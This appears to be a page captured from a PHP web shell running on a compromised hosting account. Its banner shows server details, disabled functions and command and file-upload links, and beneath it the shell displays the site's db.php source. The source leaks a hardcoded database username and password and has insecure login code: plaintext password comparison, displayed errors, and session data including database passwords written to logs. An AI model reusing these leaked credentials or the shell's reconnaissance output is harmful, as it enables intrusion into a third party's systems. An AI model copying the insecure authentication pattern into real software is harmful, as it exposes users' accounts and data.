|
Server IP : 217.21.85.138 / Your IP : 216.73.216.103 Web Server : LiteSpeed System : Linux in-mum-web906.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64 User : u915722082 ( 915722082) PHP Version : 7.4.33 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u915722082/public_html/logs/../khomes/../admin/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
// Set error reporting
ini_set('display_errors', '1');
ini_set('display_startup_errors', '1');
error_reporting(E_ALL);
// db.php
// ini_set('session.cookie_lifetime', 86400); // 24 hours
// ini_set('session.gc_maxlifetime', 86400); // 24 hours
// ini_set('session.use_cookies', 1);
// ini_set('session.use_only_cookies', 1);
// ini_set('session.cookie_secure', 1);
// ini_set('session.cookie_httponly', 1);
if (session_status() === PHP_SESSION_NONE) {
session_start();
}
define('DEFAULT_DB_HOST', 'localhost');
define('DEFAULT_DB_USER', 'u915722082_master_db');
define('DEFAULT_DB_PASS', 'HIFIZIQtdsS2025');
define('DEFAULT_DB_NAME', 'u915722082_master_db');
class DatabaseConnection {
private static $instance = null;
private $connection = null;
private function __construct() {
// Try to get database credentials from session
$db_username = isset($_SESSION['user_data']['db_username']) ? $_SESSION['user_data']['db_username'] : DEFAULT_DB_USER;
$db_password = isset($_SESSION['user_data']['db_password']) ? $_SESSION['user_data']['db_password'] : DEFAULT_DB_PASS;
$db_database = isset($_SESSION['user_data']['db_database']) ? $_SESSION['user_data']['db_database'] : DEFAULT_DB_NAME;
try {
$this->connection = mysqli_connect(DEFAULT_DB_HOST, $db_username, $db_password, $db_database);
if (!$this->connection) {
// If session-based connection fails, try default connection
$this->connection = mysqli_connect(DEFAULT_DB_HOST, DEFAULT_DB_USER, DEFAULT_DB_PASS, DEFAULT_DB_NAME);
if (!$this->connection) {
throw new Exception("Database connection failed: " . mysqli_connect_error());
}
}
// Set charset to ensure proper encoding
$this->connection->set_charset("utf8mb4");
} catch (Exception $e) {
error_log("Database Connection Error: " . $e->getMessage());
throw $e;
}
}
public static function getInstance() {
if (self::$instance === null) {
self::$instance = new DatabaseConnection();
}
return self::$instance;
}
public function getConnection() {
return $this->connection;
}
private function __clone() {}
}
// Session check function
function checkSession() {
if (isset($_SESSION['user_data']) && !empty($_SESSION['user_data']['id'])) {
return true;
}
return false;
}
// Database utility functions
function getDbConnection() {
try {
return DatabaseConnection::getInstance()->getConnection();
} catch (Exception $e) {
die("Database connection failed: " . $e->getMessage());
}
}
// ResultSet function to fetch all rows
function resultSet($con, $sql) {
$result = $con->query($sql);
if (!$result) {
error_log("SQL Error in resultSet: " . $con->error);
return [];
}
$rows = [];
while ($row = $result->fetch_assoc()) {
$rows[] = $row;
}
return $rows;
}
// Function to fetch single row
function single($con, $sql) {
$result = $con->query($sql);
if (!$result) {
error_log("SQL Error in single: " . $con->error);
return null;
}
return $result->fetch_assoc();
}
// Redirect function
function redirect($url) {
header("Location: $url");
exit();
}
function handleLogin($email, $password) {
// Regenerate session ID for security
session_regenerate_id(true);
try {
$conn = getDbConnection();
error_log("=== Login Debug Start ===");
error_log("Attempting login for email: " . $email);
// 1. Verify we're using the correct database
$current_db = mysqli_select_db($conn, 'u915722082_master_db');
if (!$current_db) {
error_log("Failed to select master_db database");
return false;
}
// 2. Check if the user exists in master_db
$sql = "SELECT * FROM tbl_users WHERE email = ?";
$stmt = $conn->prepare($sql);
if (!$stmt) {
error_log("Prepare failed: " . $conn->error);
return false;
}
$stmt->bind_param('s', $email);
if (!$stmt->execute()) {
error_log("Execute failed: " . $stmt->error);
return false;
}
$result = $stmt->get_result();
if ($result->num_rows > 0) {
$user = $result->fetch_assoc();
error_log("User found with ID: " . $user['id']);
// 3. Verify password match
if ($password === $user['password']) {
error_log("Password verified successfully");
// 4. Set session data with exact structure matching your current session
$_SESSION['user_data'] = [
'id' => $user['id'],
'email' => $user['email'],
'username' => $user['username'],
'db_username' => $user['db_username'] ?: 'root',
'db_password' => $user['db_password'] ?: '',
'db_database' => $user['db_database'] ?: '',
'upload_location' => $user['upload_location'] ?: 'uploads/',
'domain_url' => $user['domain_url'] ?: ''
];
// 5. Set logs session variable
$_SESSION['logs'] = $user;
error_log("Session data set successfully");
error_log(print_r($_SESSION, true));
return true;
} else {
error_log("Password mismatch");
error_log("Provided password: " . substr($password, 0, 1) . '***');
error_log("Stored password length: " . strlen($user['password']));
}
} else {
error_log("No user found with email: " . $email);
}
$stmt->close();
error_log("=== Login Debug End ===");
return false;
} catch (Exception $e) {
error_log("Login Error: " . $e->getMessage());
error_log("=== Login Debug End with Error ===");
return false;
}
}
// Function to get session values
function getSessionValues() {
return [
'id' => $_SESSION['user_data']['id'],
'email' => $_SESSION['user_data']['email'],
'username' => $_SESSION['user_data']['username'],
'db_username' => $_SESSION['user_data']['db_username'],
'db_password' => $_SESSION['user_data']['db_password'],
'db_database' => $_SESSION['user_data']['db_database'],
'upload_location' => $_SESSION['user_data']['upload_location'],
'domain_url' => $_SESSION['user_data']['domain_url']
];
}
function flashN($name='',$title='',$msg='',$cate='primary'){
if(!empty($name)){
if(!empty($msg)&&empty($_SESSION[$name])){
$_SESSION[$name]=$name;
$_SESSION[$name."_title"]=$title;
$_SESSION[$name."_msg"]=$msg;
$_SESSION[$name."_cate"]=$cate;
}
else if(empty($msg)&&!empty($_SESSION[$name])){
echo "
<div class='alert alert-dismissible bg-light-{$_SESSION[$name."_cate"]} d-flex flex-column flex-sm-row p-5 mb-10'>
<i class='ki-duotone ki-search-list fs-1 text-{$_SESSION[$name."_cate"]} me-4 mb-5 mb-sm-0'><span class='fa fa-check-square'></span></i>
<div class='d-flex flex-column pe-0 pe-sm-10'>
<h4 class='fw-semibold'>{$_SESSION[$name."_title"]}</h4>
<span>{$_SESSION[$name."_msg"]}</span>
</div>
<button type='button' class='position-absolute position-sm-relative m-2 m-sm-0 top-0 end-0 btn btn-icon ms-sm-auto' data-bs-dismiss='alert'>
<i class='ki-duotone ki-cross text-{$_SESSION[$name."_cate"]}'><span class='fa fa-close'></span></i>
</button>
</div>";
unset($_SESSION[$name]);
unset($_SESSION[$name."_msg"]);
unset($_SESSION[$name."_cate"]);
}
}
}
$STATE=["Andhra Pradesh","Arunachal Pradesh","Assam","Bihar","Chhattisgarh","Goa","Gujarat","Haryana","Himachal Pradesh","Jharkhand","Karnataka","Kerala","Madhya Pradesh","Maharashtra","Manipur","Meghalaya","Mizoram","Nagaland","Odisha","Punjab","Rajasthan","Sikkim","Tamil Nadu","Telangana","Tripura","Uttarakhand","Uttar Pradesh","West Bengal"];
#db to user format
function date_user_format($date){
return date("d-m-Y",strtotime($date));
}
#user to db format
function date_db_format($date){
return date("Y-m-d",strtotime($date));
}
function convertToIndianCurrency($number) {
$no = floor($number);
$point = round($number - $no, 2) * 100;
$hundred = null;
$digits_1 = strlen($no);
$i = 0;
$str = array();
$words = array(
'0' => '', '1' => 'One', '2' => 'Two',
'3' => 'Three', '4' => 'Four', '5' => 'Five',
'6' => 'Six', '7' => 'Seven', '8' => 'Eight',
'9' => 'Nine', '10' => 'Ten', '11' => 'Eleven',
'12' => 'Twelve', '13' => 'Thirteen', '14' => 'Fourteen',
'15' => 'Fifteen', '16' => 'Sixteen', '17' => 'Seventeen',
'18' => 'Eighteen', '19' =>'Nineteen', '20' => 'Twenty',
'30' => 'Thirty', '40' => 'Forty', '50' => 'Fifty',
'60' => 'Sixty', '70' => 'Seventy',
'80' => 'Eighty', '90' => 'Ninety'
);
$digits = array('', 'Hundred', 'Thousand', 'Lakh', 'Crore');
while ($i < $digits_1) {
$divider = ($i == 2) ? 10 : 100;
$number = floor($no % $divider);
$no = floor($no / $divider);
$i += ($divider == 10) ? 1 : 2;
if ($number) {
$plural = (($counter = count($str)) && $number > 9) ? '' : null;
$hundred = ($counter == 1 && $str[0]) ? ' and ' : null;
$str [] = ($number < 21) ? $words[$number]." ". $digits[$counter]. $plural." ".$hundred
:
$words[floor($number / 10) * 10]." ".$words[$number % 10]." ".$digits[$counter].$plural." ".$hundred;
} else $str[] = null;
}
$str = array_reverse($str);
$result = implode('', $str);
$points = ($point) ? ".".$words[$point / 10]." ".$words[$point = $point % 10].' Paise' : '';
return trim($result)." Rupees ". $points ." Only";
}
$con = getDbConnection();